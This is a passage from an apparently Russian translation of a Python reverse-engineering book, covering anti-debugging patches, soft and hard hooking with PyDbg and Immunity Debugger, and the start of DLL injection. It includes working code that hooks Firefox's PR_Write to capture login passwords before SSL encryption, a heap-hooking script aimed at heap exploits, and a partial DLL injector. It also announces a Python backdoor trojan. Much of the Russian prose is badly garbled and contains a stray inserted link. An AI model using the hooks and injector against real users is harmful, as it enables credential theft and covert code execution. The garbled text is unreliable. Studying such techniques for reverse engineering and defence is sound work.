мы это потому , что некоторые продв
инутые злоj_^u на самом деле будут

про_jylv несколько перuo байт этих функций , что бы убедиться в том , что
функция не была пропатчена ре_jk инженером. Мы обманам их , пропатчив
10-тью инструкциями ниже; пра^Z, если они про_jyl целостность k_c
функции , они обнаружат нас . После того как пропатчим байты в функциях
(#4), обе функции будут haращать ложный результат незаbkbfh от того,
как они будут uauаться .

Мы рассмотрели дZ примера того, как u может

е использовать Python и
Immunity Debugger для создания аlhfZlbabjhанных способов защиты от
j_^hghkguo программ , пытающихся определить наличие присоединенного
отладчика . Существует намного больше анти-отладочных методов, которые
могут быть использоZgu , поэтому будет написано бесконечное множество
Python- скриптов , чтобы спраblvky с ними ! Полученные в этой гла_ знани
я
помогут насладиться более коротким j_f_g_f разработки эксплойтов , а так
же ноuf арсеналом инструментов для борьбы против злоj_^h\.

Теперь даZcl_ перейдем к некоторым методам перехZlZ , которые u
можете использоZlv h j_fy ре_jkbg]Z .


5.5 Ссылки

[1] For debugger support and ge neral discussions visit
http://forum.immunityinc.com

[2] For a full set of documentation on the Immunity Debugger Python library, refer
to http://debugger.immunityinc. com/update/Documentation/ref/

[3] An in-depth explanati on of DEP can be found at
http://support.microsoft.com/kb/875352/EN-US/

[4] Skape and Skywing’s paper at http ://www.uninformed.org/?v=2&a=4&t=txt.

[5] The NtSetInformationProcess()f unction definition can be found at
http://undocumented.ntinternals.net/U serMode/Undocumented%20Functions/NT%
20Objects/Process/NtSetInformationProcess.html

[6] The original foru m post is located at
http://forum.immunityinc. com/index.php?topic=71.0

ГЛАВА 6
Hooking


Hooking (прим . пер . далее перехZl ) – это мощная техника , которая
используется для того, чтобы иметь hafh`ghklv контролироZlv или
изменять данные доступные процессу . Именно перехZlu , позheyxl
руткитам
скрыZlv сh_ присутстb_ , кейлогерам отслеживать нажатия
клаbr , а отладчикам
– отлажиZlv ! Реверс инженер может сэкономить кучу
j_f_gb , реализовав несколько простых перехZlh\ для сбора интересующей
его информации , f_klh того, чтобы делать это jmqgmx. Это не_jhylgh
простая и в тоже j_fy мощная техника .

На платформе Windows существует множестh методов позheyxsbo
осущестblv перехZlu . Мы сфокусируемся на дmo осноguo , которые я
назыZx «программные » и « жесткие » перех
Zlu . Программный перехZl
(soft hook) – это когда u присоединяетесь к исследуемому процессу и
устанавливаете обработчики прерыZgbc (breakpoint handlers), чтобы
перехZlblv поток исполнения процесса . Это может походить на уже
знакомую теорию потому , что по сути u написали перехZlqbd в 4-ой гла_
«4.1 Расширение брэйкпоинт- обработчиков ». Жесткий перехZl (hard hook) –
это когда u напрямую klZляете переходник , на обработчик перехZlZ , в
код , где хотите осущестblv сам пер

ехZl . Программные перехZlu полезно
использоZlv для не интенсиgh или редко используемых uahов функций .
Однако , для того чтобы перехZlblv uah\ часто используемой процедуры и
оказыZlv наименьшее ha^_cklие на процесс, нужно использоZlv жесткие
перехZlu . Глаgufb кандидатами на использоZgb_ жестких перехZlh\
яeyxlky процедуры упраe_gby кучей или проц
едуры , интенсиgh
использующие файлоu_ операции ода/uода (file I/O operations).

В этой гла_ мы hkihevam_fky рассмотренными ранее инструментами для
того, чтобы применить обе методики перехZlZ . Начнем с использоZgby
PyDbg, который будет задейстhан для устаноdb нескольких программных
перехZlh\ (soft hooking), которые позheyl перехZlblv (sniff)
зашифрованный сетеhc трафик . Далее задейстhав Immunity Debugger,
перейдем к жестким перехZlZf (hard hooking), чтобы сделать
ukhdhwnn_dlbный инструментарий для работы с проц
едурами упраe_gby
кучи .


6.1 Программные перехZlu с помощью PyDbg

Перuc пример, который мы рассмотрим , dexqZ_l в себя перехZl
зашифрованного трафика на прикладном уроg_ (прим . пер. см. модель OSI).

Обычно, чтобы понять , как клиент или сер_j aZbfh^_cklует с сетью , мы
будем использоZlv анализатор трафика Wireshark [1]. К сожалению,
Wireshark ограничен тем , что может b^_lv только зашифроZggu_ данные ,
что , конечно же , скрыZ_l истинную природу изучаемого протокола .
Используя технику программных перехZlh\, мы можем перехZlblv данные ,
до того как они будут зашифроZgu и до того , как они будут получены и
расшифро

Zgu .

Программой , на которой мы будем испытыZlv программные перехZlu ,
будет популярный _[-браузер с открытым исходным кодом Mozilla Firefox
[2]. В этом упражнении мы сделаем b^ , что Firefox – это браузер с закрытым
кодом (иначе было бы не так _k_eh , не пра^Z ли ?) и наша работа состоит в
том , чтобы перехZlblv данные из процесса firef
ox.exe до того, как они будут
зашифрованы и отпраe_gu на сер_j . Наиболее распространенной формой
шифроZgby , которую использует Firefox, яey_lky протокол шифроZgby
SSL (Secure Sockets Layer); таким образом , мы определились с осноghc
целью в нашем упражнении .

Чтобы обнаружить uah\ или uahы от_qZxsb_ за передачу
незашифроZgguo данных , u можете использоZlv технику для регистрации
межмодульных uahов (l

ogging intermodular calls) , которая описана в
следующей теме http://forum.immunityinc.com/index.php?topic=35.0
. Нет
« конкретного » места , где именно нужно стаblv перехZl ; k_ заbkbl только
от Zrbo предпочтений. Поэтому, чтобы мы не разошлись в разные стороны ,
догоhjbfky , что перехZl устаноe_g на функцию PR_Write, которая
экспортируется из nspr4.dll. Когда эта функция будет uaана , в указателе на
массив симheh\ ASCII, который размещен по адресу [ESP + 8], будут
содержаться данные до их непосредст
_ggh]h шифроZgby . Смещение +8 от
регистра ESP гоhjbl нам о том , что это lhjhc параметр, передаZ_fuc в
интересующую нас функцию PR_Write. Именно здесь мы и будем
перехZluать ASCII данные , регистрироZlv их и продолжать uiheg_gb_
процесса .

Сначала даZcl_ убедимся , что мы дейстbl_evghf можем b^_lv данные
которые нас интересуют . Откройте Firefox и перейдите на один из моих
любимых сайтов: https://www.openrce.org/
. Как только u приняли SSL-
сертификат сайта и его страница загрузилась , присоедините Immunity
Debugger к процессу firefox.exe и устаноbl_
http://ru.und3rgr0und.org/wiki/Breakpoint
брэйкпоинт на nspr4.PR_Write. В
праhf _jog_f углу _[ -сайта OpenRCE есть форма oh^Z ; едите имя
пользоZl_ey «test», пароль «test» и нажмите кнопку «Login». Брэйкпоинт,
который u устаноbeb , должен сразу же сработать ; продолжайте жать
кнопку F9 и u будете b^_lv его постоянное срабатыZgb_ . В конце концов ,
u уb^bl_ указатель на строку в стеке , которая разыменоuаеться h что -
то похожее:

[ESP + 8] => ASCII "username=test&password=test&remember_me=on"

Слаgh ! Мы можем отчетлиh b^_lv имя пользоZl_ey и пароль , но если бы
u посмотрели на эту транзакцию на сетеhf уроg_ (network level), то k_
данные были бы непонятными из -за сильного SSL- шифроZgby. Этот метод
будет работать не только с сайтом OpenRCE; например, чтобы дать uoh^
Zr_c паранойи, зайдите на более критичный к утечке данных сайт, и
посмотрите , ка

к можно легко b^_lv незашифроZggmx информацию ,
передаZ_fmx на сер_j . Теперь даZcl_ аlhfZlbabjm_f этот процесс так,
чтобы мы могли перехZluать соот_lklующую информацию, не упраeyy
отладчиком jmqgmx .

Чтобы определить программный перехZl с помощью PyDbg, необходимо
gZqZe_ определить hook container, который будет содержать k_ Zrb
объекты перехZlh\ (hook objects). Для инициализации контейнера
используйте следующую команду :

hooks = utils.hook_container()

Чтобы определить перехZl и добаblv его в контейнер , используйте метод
add() из класса hook_container. Прототип функции имеет следующий b^:

add( pydbg, address, num_arguments, func_entry_hook,
func_exit_hook )

Перuc параметр – pydbg объект. Параметр address – это адрес , на который
u хотите устаноblv перехZl . В параметре num_arguments задается
количество параметров , которые получает перехZluаемая функция .
Параметры func_entry_hook и func_exit_hook – это функции обратного uahа
(callback), которые определяют код , который будет uaан сразу после
срабатывания перехZlZ и перед его за_jr_gb_f . Стартоu_ перехZlu
(entry hooks, прим. пер . т.е . перехZlu , устаноe_ggu_ на начало функции )
полезны тем , что позheyxl b^_

ть параметры передаZ_fu_ в функцию , в то
j_fy как конечные перехZlu (exit hooks, прим. пер. т.е . перехZlu ,
устаноe_ggu_ в конце функции ) позволяют перехZluать haращаемые
значения.

Функция entry hook callback должна иметь следующий прототип:

def entry_hook( dbg, args ):

# Hook code here

return DBG_CONTINUE

Параметр dbg – это pydbg объект, который используется для устаноdb
перехZlZ . Параметр args – это список zero-based параметров, которые были
перехZq_gu h j_fy срабатыZgby перехZlZ .

Прототип функции exit hook callback немного отличается от предыдущей тем ,
что имеет дополнительный параметр ret, который яey_lky haращаемым
значением перехZq_gghc функции (т.е . значением из регистра EAX).

def exit_hook( dbg, args, ret ):

# Hook code here

return DBG_CONTINUE

Чтобы продемонстрироZlv , как использоZlv entry hook callback для
перехZlZ нешифроZggh]h трафика , откройте ноuc файл Python, назоbl_
его firefox_hook.py и едите следующий код.

firefox_hook.py

from pydbg import *
from pydbg.defines import *

import utils
import sys

dbg = pydbg()
found_firefox = False

# Let's set a global pattern that we can make the hook
# search for
pattern = "password"

# This is our entry hook callback function
# the argument we are interested in is args[1]
def ssl_sniff( dbg, args ):

# Now we read out the memory pointed to by the second
argument
# it is stored as an ASCII string, so we'll loop on a read
until
# we reach a NULL byte
buffer = ""
offset = 0

while 1:

byte = dbg.read_process_memory( args[1] + offset, 1 )

if byte != "\x00":
buffer += byte
offset += 1
continue
else:
break

if pattern in buffer:
print "Pre-Encrypted: %s" % buffer

return DBG_CONTINUE

# Quick and dirty process enumeration to find firefox.exe
for (pid, name) in dbg.enumerate_processes():

if name.lower() == "firefox.exe":

found_firefox = True
hooks = utils.hook_container()

dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid

# Resolve the function address
hook_address =
dbg.func_resolve_debuggee("nspr4.dll","PR_Write")

if hook_address:
# Add the hook to the container. We aren't
interested
# in using an exit callback, so we set it to None.
hooks.add( dbg, hook_address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" %
hook_address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)

if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)

Этот код доhevgh прост. Он устанаebает перехZl на PR_Write, и когда
тот срабатыZ_l, мы пытаемся прочитать ASCII-строку , на которую
указыZ_l lhjhc параметр. Если читаемая строка соот_lklует нашему
шаблону , то мы uодим ее в консоль . Запустите ноuc экземпляр Firefox,

после чего запустите firefox_hook.py из командной строки . Поlhjbl_ Zrb
предыдущие шаги, попытаrbkv залогиниться на https://www.openrce.org/
и
u должны будете уb^_lv uод, похожий на Листинг 6-1.

Листинг 6-1: Круто! Мы можем четко b^_lv имя и пароль, до их
шифроZgby .

[*] Attaching to firefox.exe with PID: 1344[*] nspr4.PR_Write
hooked at: 0x601a2760[*] Hooks set, continuing process.
Pre-Encrypted: username=test&password=test&remember_me=on
Pre-Encrypted: username=test&password=test&remember_me=on
Pre-Encrypted: username=jms&password=yeahright!&remember_me=on

Мы только что показали , насколько программные перехZlu легки и в тоже
j_fy мощны в использовании . Эта техника может быть применена ко k_f
b^Zf отладочных сценариев. Этот сценарий хорошо подходит для перехZlZ
мало используемых функций . Если бы мы применили его для функции ,
которая используется более интенсивно , то очень быстро мы бы заметили ,
что uiheg_gb_ процесса за

медляется и он начинает _klb себя странным
образом или даже завершается (crash). Это происходит потому , что
инструкция INT3 uauает обработчик , который затем uauает наш
собст_gguc перехZlqbd (hook code), – и помимо этого контролирует
haращаемое значение . Это требует много работы , особенно если это
должно происходить тысячи раз в секунду! ДаZcl_ посмотрим , как мы
можем обой

ти это ограничение , применив жесткий перехZl (hard hook).
Вперед !


6.2 Жесткие перехZlu с помощью Immunity Debugger

Теперь мы добрались до интересного материала – технике жесткого
перехZlZ . Это более продbgmluc метод. Он оказыZ_l гораздо меньшее
ha^_ckl\b_ на процесс , чем предыдущий , потому что наш перехZlqbd (hook
code) будет написан исключительно in x86 assembly. В случае программного
перехZlqbdZ (soft hook), происходило много событий (и еще больше
инструкций), кот

орые uihegyebkv в момент между срабатыZgb_f
прерыZgby , uiheg_gby перехZlqbdZ (hook code) и hkklZghлением
uiheg_gby процесса. Используя hard hook, u в дейстbl_evghklb просто
расширяете конкретный кусок кода , чтобы uihegblv наш перехZlqbd и
hkklZgh\blv нормальную работу процесса . Хорошо то , что когда u
используете hard hook, отлажиZ_fuc процесс никогда не останавлиZ_lky , в
отличии от soft hook.

Immunity Debugger снижает сложность устаноdb hard hook предостаeyy
простой объект FastLogHook. Объект FastLogHook аlhfZlbq_kdb
устанав

ливает заглушку (stub), которая регистрирует (logs) значения,

которые Zk интересуют , и перезаписыZ_l оригинальную инструкцию,
которую u хотите перехZlblv , прыжком на заглушку (jump to the stub). При
создании быстрых регистрирующих перехZlqbdh\ (fast log hooks), нужно
gZqZe_ определить указатель на сам перехZlqbd , а затем определить
указатель на данные , которые нужно зарегистрироZlv . Определение скелета
устаноdb перехZlqbdZ имеет следующий b^:

imm = immlib.Debugger()
fast = immlib.FastLogHook( imm )

fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )
fast.logBaseDisplacement( register, offset )

Метод logFunction() необходим для устаноdb перехZlZ, так как он передает
осноghc адрес того, куда будут перезаписаны оригинальные инструкции из
места , где будет размещен перехZluающий код (hook code). Его
параметрами яeyxlky адрес перехZlqbdZ и количестh перехZluаемых
аргументов . Если u устанаebаете перехZlqbd на начало функции и
хотите перехZlblv ее параметры, тогда Zf , скорее k_]h , нужно устаноblv
количеств

о аргументов . Если u устанаeb\Z_l_ перехZlqbd на конец
функции , тогда Zf , с большой _jhylghklvx, следует устаноblv
num_arguments в нуль. Методами , которые непосредст_ggh занимаются
регистрацией (logging), яeyxlky logRegister(), logBaseDisplacement() и
logDirectMemory(). Три эти функции имеют следующие прототипы :

logRegister( register )
logBaseDisplacement( register, offset )
logDirectMemory( address )

Метод logRegister(), h j_fy срабатывания перехZlZ , отслежиZ_l значение
определенного регистра . Это полезно для отслежиZgby haращаемого
значения, после uahа функции , которое хранится в регистре EAX. Метод
logBaseDisplacement() принимает дZ параметра регистр и смещение ; он
предназначен для разыменоuания параметров в стеке или для получения
данных , когда из_klgh смещение от регистра . Последний uah\
logDirectMemory() используется, чтобы зарегистрироZlv из_klgh
е
смещение памяти h j_fy перехZlZ (which is used to log a known memory
offset at hook time).

Когда срабатыZ_l перехZl и uauаются функции регистрации , они хранят
собранную информацию в u^_e_gghc области памяти, которую создает
объект FastLogHook. Чтобы получить результат от Zr_]h перехZlqbdZ ,

нужно запросить эту страницу используя функцию-обертку getAllLog(),
которая анализирует память и haращает список Python в следующей форме:

[( hook_address, ( arg1, arg2, argN )), ... ]

Таким образом , каждый раз , когда срабатывает перехZlqbd , его адрес
сохраняется в hook_address, а ky информация , которую u запросили ,
содержится в форме кортежа , h lhjhc записи. В заключение , Z`gh
отметить , что сущестm_l дополнительная разноb^ghklv FastLogHook, метод
STDCALLFastLogHook, который устанаeb\Z_lky для соглашения о uahах
STDCALL. Для cdecl соглашения используется обычный метод FastLogHook.
Хотя используются они одинакоh .

Прекрасным примером использоZgby мощного hard hook яey_lky
PyCommand hippie, аlhjhf которой был один из _^msbo мироuo
экспертов по переполнению кучи , Ni

colas Waisman из Immunity, Inc. По
слоZf самого Nico:
Выход hippie стал от_lguf дейстb_f на необходимость
ukhdhwnn_dlbной регистрации перехZlh\ (hook), которые
дейстbl_evgh могли бы обрабатыZlv большое количество
uahов , которые требуют функции Win32 API. Возьмем, к
примеру , Notepad; если u откроете file dialog, то на это
потребуется около 4.500 uahов RtlAllocateHeap или
RtlFreeHeap. Если же u havf_l_ Internet Explorer, который,
более интенсиgh использует кучу (heap), то u уb^bl_
у_ebq_gb_ числа uahов функций , сyaZgguo с кучей , ра

з в 10 и
больше .

Как сказал Nico, мы можем использоZlv hippie в качестве примера того, как
инструментироZlv процедуры кучи (to instrument heap routines), что очень
Z`gh для понимания , при написании ориентироZgguo на кучу эксплойтов
(heap-based exploits). Для краткости, мы рассмотрим только базоu_ част

и
hippie и в процессе создадим упрощенную _jkbx, которую назо_f
hippie_easy.py .

Прежде, чем мы начнем , Z`gh разобраться с прототипами функций
RtlAllocateHeap и RtlFreeHeap, чтобы наши точки перехZlZ (hook points)
имели смысл .

BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle,
IN ULONG Flags,

IN PVOID HeapBase
);


PVOID RtlAllocateHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN SIZE_T Size
);

Итак , в RtlFreeHeap мы перехZlbf k_ три аргумента , а в RtlAllocateHeap мы
перехZlbf три аргумента плюс указатель , который haращается после
uahа функции . ВозjZsZ_fuc указатель указыZ_l на ноuc блок кучи ,
который только что был создан . Теперь , когда мы разобрались с hook points,
откройте ноuc файл Python, назоbl_ hippie_easy.py его и едите
следующий код.

hippie_easy.py

import immlib
import immutils

# This is Nico's function that looks for the correct
# basic block that has our desired ret instruction
# this is used to find the proper hook point for RtlAllocateHeap
(#1): def getRet(imm, allocaddr, max_opcodes = 300):
addr = allocaddr
for a in range(0, max_opcodes):
op = imm.disasmForward( addr )

if op.isRet():
if op.getImmConst() == 0xC:
op = imm.disasmBackward( addr, 3
)
return op.getAddress()
addr = op.getAddress()

return 0x0

# A simple wrapper to just print out the hook
# results in a friendly manner, it simply checks the hook
# address against the stored addresses for RtlAllocateHeap,
RtlFreeHeap
def showresult(imm, a, rtlallocate):
if a[0] == rtlallocate:
imm.Log( "RtlAllocateHeap(0x%08x, 0x%08x,
0x%08x) <- 0x%08x %s" % (a[1][0], a[1][1], a[1][2], a[1][3],
extra), address = a[1][3] )

return "done"

else:
imm.Log( "RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)" %
(a[1][0], a[1][1], a[1][2]) )

def main(args):

imm = immlib.Debugger()
Name = "hippie"
fast = imm.getKnowledge( Name )

(#2): if fast:
# We have previously set hooks, so we must want
# to print the results
hook_list = fast.getAllLog()

rtlallocate, rtlfree =
imm.getKnowledge("FuncNames")
for a in hook_list:
ret = showresult( imm, a, rtlallocate )

return "Logged: %d hook hits." % len(hook_list)

# We want to stop the debugger before monkeying around
imm.Pause()
rtlfree = imm.getAddress("ntdll.RtlFreeHeap")
rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap")

module = imm.getModule("ntdll.dll")

if not module.isAnalysed():
imm.analyseCode( module.getCodebase() )

# We search for the correct function exit point
rtlallocate = getRet( imm, rtlallocate, 1000 )
imm.Log("RtlAllocateHeap hook: 0x%08x" % rtlallocate)

# Store the hook points
imm.addKnowledge( "FuncNames", ( rtlallocate, rtlfree )
)

# Now we start building the hook
fast = immlib.STDCALLFastLogHook( imm )

# We are trapping RtlAllocateHeap at the end of the
function
imm.Log("Logging on Alloc 0x%08x" % rtlallocate)
(#3): fast.logFunction( rtlallocate )
fast.logBaseDisplacement( "EBP", 8 )
fast.logBaseDisplacement( "EBP", 0xC )
fast.logBaseDisplacement( "EBP", 0x10 )
fast.logRegister( "EAX" )

# We are trapping RtlFreeHeap at the head of the

function
imm.Log("Logging on RtlFreeHeap 0x%08x" % rtlfree)
fast.logFunction( rtlfree, 3 )

# Set the hook
fast.Hook()

# Store the hook object so we can retrieve results later
imm.addKnowledge(Name, fast, force_add = 1)

return "Hooks set, press F9 to continue the process."

Прежде чем запускать этот скрипт , даZcl_ посмотрим на код . ПерZy
функция , которую u b^bl_ (#1) яey_lky одним из кусков кода , который
написал Nico, для того, чтобы найти праbevgh_ место для перехZlZ
RtlAllocateHeap. Для иллюстрации , дизассемблируйте RtlAllocateHeap и в
нескольких последних инструкциях u уb^bl_ эти :

0x7C9106D7 F605 F002FE7F TEST BYTE PTR DS:[7FFE02F0],2
0x7C9106DE 0F85 1FB20200 JNZ ntdll.7C93B903
0x7C9106E4 8BC6 MOV EAX,ESI
0x7C9106E6 E8 17E7FFFF CALL ntdll.7C90EE02
0x7C9106EB C2 0C00 RETN 0C

Таким образом код Python, начинает дизассемблироZlv с голоu функции
пока не найдет инструкцию RET по адресу 0x7C9106EB, после чего
про_jy_l константу 0x0C, чтобы убедиться , что он оказался в праbevghf
месте . Затем он дизассемблирует последние три инструкции, которые
располагаются по адресу 0x7C9106D7. Этот небольшой танец , мы
со_jrZ_f , чтобы убедиться , что у нас есть достаточно места , чтобы
записать нашу 5-байтоmx инструкцию JMP. Если бы мы попытались
устаноblv 5-байт

оuc JMP прямо на 3-байтоuc RET, то мы бы
перезаписали 2-Z дополнительных байта , который поj_^beb бы
ujZниZgb_ кода , и процесс бы немедленно за_jrbeky (crash).
Приudgbl_ к написанию этих маленьких служебным функций , которые
помогут Zf избежать этих типичных препятстbc . Дhbqgu_ файлы
сложные тZjb , и они не тер
пят ошибок .

Следующий кусок кода (#2) яey_lky простой про_jdhc относительно того,
устаноe_gu ли перехZlqbdb , и если да , то мы просто получаем
необходимые объекты из базы знаний (knowledge base) и распечатываем
результаты наших перехZlh\ . Скрипт разработан таким образом , чтобы u ,
запустив его одни раз , устаноbeb перехZlqbdb , а затем запускали его сноZ
и сноZ для мониторинга ре
зультатов. Если u хотите создать кастомный
(custom) запрос для какого- либо из объектов , хранящихся в базе знаний, то
u можете получить к ним доступ из Питоноkdhc оболочки отладчика .

Последний кусок (#3) это конструкция перехZlqbdh\ и точек мониторинга .
Для uahа RtlAllocateHeap мы перехZluаем три аргумента из стека и
haращаемое значение функции . Для RtlFreeHeap мы перехZluаем три
аргумента из стека , в момент , когда она получает упраe_gb_ . В менее чем в
100 строках кода мы использовали очень мощную технику перехZlZ –
причем, без использоZgby компилятора или каких -ли
бо дополнительных
инструментов . Очень крутой stuff.

ДаZcl_ , используем notepad.exe и посмотрим насколько был прав Nico,
гоhjy о 4.500 uahах , которые происходят h j_fy открытия file dialog.
Запустите «C:\WINDOWS\System32\notepad.exe» под отладчиком Immunity
Debugger и запустите PyCommand !hippie_easy в командной строке (если u
забыли как это сделать , перечитайте Глаm 5
). Возобноbl_ процесс и затем
u[_jbl_ «File => Open» в Notepad.

Пришло j_fy про_jblv полученные результаты. Запустите поlhjgh
PyCommand и u должны уb^_lv uод в окне Log отладчика Immunity
Debugger (ALT-L), который похож на Листинг 6-2.

Листинг 6-2: Выh^ команды !hippie_easy (PyCommand)

RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca0b0)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca058)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca020)
RtlFreeHeap(0x001a0000, 0x00000000, 0x001a3ae8)
RtlFreeHeap(0x00030000, 0x00000000, 0x00037798)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000c9fe8)

Прекрасно ! У нас есть результаты , и если u посмотрите на строку состояния
(status bar) в Immunity Debugger, то она сообщит количестh срабатыZgbc. У
меня ureh 4.675, так что Nico был прав . Вы можете перезапустить скрипт в
любое j_fy , когда захотите уb^_lv изменения . Самое замечательное здесь
то , что мы прошлись по тысячам uahов без какого- либо ухудшения
произh^bl_evghklb .

Hoo

king - это то , что u несомненно будете использоZlv бесчисленное
количество , h j_fy реверсинга приложений . Мы не только
продемонстрироZeb, как применить некоторые методы перехZlZ , но и
аlhfZlbabjhали их . Теперь , когда u знаете как эффектиgh мониторить за
данными приложений с помощью перехZlqbdh\ , пришло j_fy изучить то ,
как можно манипулироZlv процессами . Выполнять манипуляции мы будем
с помощью g_^j_gby кода и g_^j_g

ия DLL- библиотек . Ну что приступим ?

6.3 Ссылки

[1] http://www.wireshark.org/.

[2] For the Firefox download, go to http://www.mozilla.com/en-US/.

ГЛАВА 7
DLL и Code Injection


Порой, когда u ре_jkbl_ или атакуете программу , полезно иметь
hafh`ghklv загрузить и uihegblv сhc код в контексте исследуемого
процесса . Крадете ли u хэши паролей или получаете доступ к удаленному
рабочему столу целеhc системы , методы g_^j_gby кода и dll- библиотек
предостаeyxl мощные hafh`ghklb . Мы создадим несколько простых
утилит на Питоне , которые позheyl Zf ис
пользовать оба метода . Эти
методы должны oh^blv в арсенал каждого разработчика программ,
эксплойтов
, шелл -кодов и пентестеров . Мы будем использовать g_^j_gb_
DLL (DLL injection) для запуска всплыZxs_]h окна gmljb другого
процесса . Так же мы будем использоZlv g_^j_gb_ кода (code injection),
чтобы протестироZlv шелл- код, разработанный для уничтожения какого-
либо процесса осноuаясь на его PID. Под конец глаu мы создадим и
скомпилируем Trojan’a (с функционалом backdoor’a) полностью написанного
на Python. В большей степени он будет опираться на g_^j_gbb кода и
использоZgbb некоторых други

х скрытых тактик , которые должен
использоZlv каждый хороший бэкдор
. ДаZcl_ начнем с рассмотрения темы
создания удаленных потоков, которые яeyxlky осноhc для обоих методов
g_^j_gby .


7.1 Создание удаленных потоков

Есть некоторые осноgu_ различия между g_^j_gb_f DLL и g_^j_gb_f
кода , однако , оба метода достигаются одним и тем же образом – с помощью
создания удаленного потока . Удаленный поток создается с помощью
oh^ys_c в состав Win32 API функции Creat
eRemoteThread() [1], которая
экспортируется из kernel32.dll . Она имеет следующий прототип:

HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

Не пугайтесь , у нее много параметров , но k_ они интуитиgh понятны .
Перuc параметр, hProcess, должен быть Zf знаком . Это дескриптор
процесса , в котором мы запускаем поток . Параметр lpThreadAttributes просто

устанавливает дескриптор безопасности для ghь созданного потока и
указыZ_l , может ли дескриптор потока наследоZlvky дочерними
процессами . Мы устаноbf его значение в NULL, что даст ненаследуемый
дескриптор потока и дескриптор безопасности по умолчанию . Параметр
dwStackSize просто задает размер стека создаZ_fh]h потока . Мы устаноbf
его в нуль, что даст размер по умолчанию , который уже используется
процессом . Следующий параметр lp

StartAddress яey_lky одним из наиболее
Z`guo. Он указывает на то , где в памяти поток начнет сh_ uiheg_gb_ .
Крайне Z`gh праbevgh устаноblv этот адрес так , чтобы код , необходимый
для облегчения g_^j_gby – uihegbeky . Следующий параметр, lpParametr,
почти настолько же Z`guc , как и предыдущий. Он позhey_l предостаblv
указатель на переменную , которая передается в функцию потока указанную в
lpStartAddress. Вначале это может u

глядеть запутанно , но очень скоро u
уb^bl_ , как Z`_g этот параметр для uiheg_gby g_^j_gby DLL. Параметр
dwCreationFlags определяет, как будет запущен поток. Мы будем k_]^Z
устанаebать его в нуль, что значит, что поток будет uiheg_g немедленно ,
сразу после создания. Не стесняйтесь и посмотрите в документацию MSDN,
чтобы узнать другие значения , которые поддержиZ_l параметр
dwCreationFlags. Параметр lpThreadId яey_l

ся последним . Он заполняется
идентификатором (ID) ghь созданного потока.

Теперь , когда u понимаете осноghc uah\ функции , от_lklенной за
создание g_^jy_fh]h кода , мы исследуем hijhk ее использоZgby для
g_^j_gby DLL в удаленный процесс , а затем постепенно перейдем к
g_^j_gbx шелл -кода . Процедура для создания удаленного по
тока, и в
конечном счете uiheg_gby нашего кода, немного отличается для каждого
конкретного случая (g_^j_gby DLL и шелл- кода), поэтому мы
продемонстрируем ее использоZgb_ дважды , чтобы покрыть k_ различия .

7.1.1 Внедрение DLL

Внедрение DLL в течение достаточно продолжительного j_f_gb
использоZehkv как для добра , так и для зла . Куда бы u ни посмотрели –
_a^_ уb^bl_ g_^j_gb_ DLL. От необычных расширений оболочки
Windows, до j_^hghkguo программ hj

ующих Zrm банкоkdmx
информацию . DLL g_^j_gb_ kx^m . Даже продукты безопасности g_^jyxl
сhb DLL- библиотеки для отслежиZgby процессов прояeyxsbo
j_^hghkgmx актиghklv . Весь цимес в использоZgbb g_^j_gby DLL
заключается в том , что мы можем скомпилироZlv бинарный файл, загрузить
его в процесс и uihegblv его как част
ь процесса . Это очень полезно ,
например , чтобы обойти программные брандмауэры , которые позheyxl
только определенным приложениям делать исходящие соединения . Мы
немного исследуем эту тему при написании на Питоне DLL-инжектора,
который позhebl нам g_^jblv DLL-библиотеку в любой процесс, который
мы u[_j_f .

Для загрузки DLL-библиотек в память процесса Windows, нужно
использоZlv функцию LoadLibrary(), которая экспортируется из kernel32.dll.
Она имеет следующий прототип:

HMODULE LoadLibrary(
LPCTSTR lpFileName
);

Параметр lpFileName это просто пусть к DLL, которую u хотите загрузить .
Нам нужно застаblv удаленный процесс uaать LoadLibraryA с указателем
на строку , содержащую путь к загружаемой DLL. Перuc шаг заключается в
том , чтобы узнать , где расположена функция LoadLibraryA. Затем записать
имя загружаемой DLL. Когда мы uahем CreateRemoteThread(), мы укажем
в параметре lpStartAddress адрес размещения LoadLibraryA, а параметр в
lpParameter поместим адрес размещения «пути (имени ) к DLL». Когда
Creat

eRemoteThread() начнет uihegylvky , она uahет LoadLibraryA, как
если бы удаленный процесс сделал запрос на загрузку DLL сам.

ПРИМЕЧАНИЕ : DLL для тестироZgby g_^j_gby находится в архи_ с
исходниками для этой книги , который u можете загрузить по адресу
http://www.nostarch.com/ghpython.htm
. Исходный код DLL так же находится
gmljb.

ДаZcl_ перейдем к коду. Откройте ноuc файл Python, назоbl_ его
dll_injector.py и едите следующий код .

dll_injector.py

import sys
from ctypes import *

PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]
dll_len = len(dll_path)

# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False,
int(pid) )

if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)

(#1): # Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len,
VIRTUAL_MEM, PAGE_READWRITE)

(#2): # Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path,
dll_len, byref(written))

(#3): # We need to resolve the address for LoadLibraryA
